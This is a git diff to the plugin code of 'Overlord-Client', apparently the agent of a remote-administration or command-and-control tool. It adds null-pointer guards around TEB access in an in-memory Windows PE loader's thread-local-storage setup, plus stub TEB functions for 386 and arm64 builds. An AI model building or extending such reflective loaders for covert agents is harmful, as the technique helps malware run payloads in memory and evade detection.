diff --git a/Overlord-Client/cmd/agent/plugins/peloader_windows.go b/Overlord-Client/cmd/agent/plugins/peloader_windows.go index 0a13575..efd4e6b 100644 --- a/Overlord-Client/cmd/agent/plugins/peloader_windows.go +++ b/Overlord-Client/cmd/agent/plugins/peloader_windows.go @@ -454,6 +454,12 @@ func (mm *MemoryModule) setupTLS(reason uint32) { } tebAddr := teb.CurrentTEB() + if tebAddr == 0 { + if tlsData != 0 { + _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE) + } + return + } tlsArrayField := (*uintptr)(unsafe.Pointer(tebAddr + 0x58)) // ThreadLocalStoragePointer oldArray := *tlsArrayField @@ -538,6 +544,10 @@ func (mm *MemoryModule) SetupThreadTLS() func() { ptrSize := unsafe.Sizeof(uintptr(0)) tebAddr := teb.CurrentTEB() + if tebAddr == 0 { + _ = windows.VirtualFree(tlsData, 0, windows.MEM_RELEASE) + return func() {} + } tlsArrayField := (*uintptr)(unsafe.Pointer(tebAddr + 0x58)) oldArray := *tlsArrayField @@ -572,8 +582,10 @@ func (mm *MemoryModule) SetupThreadTLS() func() { _ = windows.VirtualFree(newArray, 0, windows.MEM_RELEASE) } tebNow := teb.CurrentTEB() - field := (*uintptr)(unsafe.Pointer(tebNow + 0x58)) - *field = oldArray + if tebNow != 0 { + field := (*uintptr)(unsafe.Pointer(tebNow + 0x58)) + *field = oldArray + } } } diff --git a/Overlord-Client/cmd/agent/plugins/teb/teb_windows_386.go b/Overlord-Client/cmd/agent/plugins/teb/teb_windows_386.go new file mode 100644 index 0000000..9642c70 --- /dev/null +++ b/Overlord-Client/cmd/agent/plugins/teb/teb_windows_386.go @@ -0,0 +1,7 @@ +//go:build windows && 386 + +package teb + +func CurrentTEB() uintptr { + return 0 +} diff --git a/Overlord-Client/cmd/agent/plugins/teb/teb_windows_arm64.go b/Overlord-Client/cmd/agent/plugins/teb/teb_windows_arm64.go new file mode 100644 index 0000000..cb1296f --- /dev/null +++ b/Overlord-Client/cmd/agent/plugins/teb/teb_windows_arm64.go @@ -0,0 +1,7 @@ +//go:build windows && arm64 + +package teb + +func CurrentTEB() uintptr { + return 0 +}